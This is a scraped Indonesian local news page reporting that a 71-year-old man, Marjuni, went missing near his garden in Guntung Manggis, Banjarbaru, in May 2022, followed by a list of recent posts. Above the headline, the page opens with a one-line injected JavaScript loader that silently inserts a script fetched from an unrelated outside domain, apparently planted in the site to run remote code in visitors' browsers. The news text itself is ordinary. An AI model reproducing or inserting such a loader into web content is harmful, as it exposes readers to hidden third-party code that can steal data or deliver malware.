(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Kunjung Pulang dari Kebun, Lansia 71 Tahun di Guntung Manggis Diduga Hilang di Hutan


KANALKALIMANTAN.COM, BANJARBARU – Seorang laki-laki lanjut usia (Lansia) dilaporkan tak kunjung pulang ke rumah sejak Sabtu (14/5/2022) pukul 17.00 Wita lalu.

Diketahui identitas lelaki itu bernama Marjuni, berusia 71 tahun, warga Jalan Abadi II Karang Rejo, RT 006 RW 001, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru.

Kakek Marjuni dikabarkan hilang di kebunnya, hal ini disampaikan Siti Aminah, anak kakek Marjuni kepada petugas dan para relawan, serta meminta bantuan untuk melakukan pencarian.

Menurut keterangan Siti Aminah, pada Sabtu (14/5/2022) sekitar pukul 10.00 Wita, ayahnya berangkat menuju kebun di Jalan Abadi Makmur Guntung Keminting, RT 005 RW 004, Kelurahan Loktabat Selatan.

 

Baca juga : 13 Jenazah Korban Bus Maut Tol Sumo Dishalati dan Dimakamkan Bergantian, Ada Satu Keluarga Satu Liang

“Biasanya ke kebun untuk membersihkan rumput dan sampah daun di kebun,” ujar Siti Aminah.

Sekitar pukul 15.30 Wita, Marjuni sempat bertemu dengan anaknya yang lain bernama Sapto Busono di sekitar kebun.

Masih dari Siti Aminah, sekitar pukul 16.10 Wita, sang ayah juga sempat bertemu dengan Ketua RT setempat bahkan berbincang.

Sekitar pukul 17.00 Wita, ayahnya tak juga kunjung pulang ke rumah. Khawatir akan hal yang tak dinginkan, kantas Siti Aminah menanyakan kepada saudaranya keberadaan sang ayah.

 

Baca juga  : Tok! 25 Juni 2022 Jadwal Pemilihan Ketum Asprov PSSI Kalteng

Siti Aminah kemudian mencari ayahnya ke kebun dan rumah ketua RT, tapi tidak juga mendapati kakek Marjuni.

Warga setempat, Dani, mengatakan, sempat melihat Marjuni di samping jalan dengan membawa arit, diduga ingin memotong jalan dari kebun ke rumahnya.

“Sore lalu melihat beliau membawa arit ingin memotong jalan untuk menghindari ada selamatan,” ujarnya.

Mendapat laporan Siti Aminah, sejak Senin (16/5/2022) siang, relawan emergency gabungan bersama masyarakat sekitar mendirikan posko pencarian di kebun milik kakek Marjuni.

 

Baca juga : Dua Pria Pakai Narkoba di Desa Sungai Cuka, Polisi Bawa ke Penjara

“Kami melakukan penyisiran mulai tadi siang, dari titik nol kebun hingga rumah kakek Marjuni,” ungkap Habibi, rekanan emergency Guntung Manggis Rescue.

Dilanjutkan Habibi, rekanan emergency gabungan melakukan pencarian sekitar radius 1 Km dari kebun hingga rumah Marjuni, dimana lokasinya masih hutan semak belukar.

Hingga berita ini ditayangkan Senin (16/5/2022) pukul 23.00 Wita, pencarian masih terus dilakukan relawan emergency gabungan di sekitar kawasan hutan tersebut.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.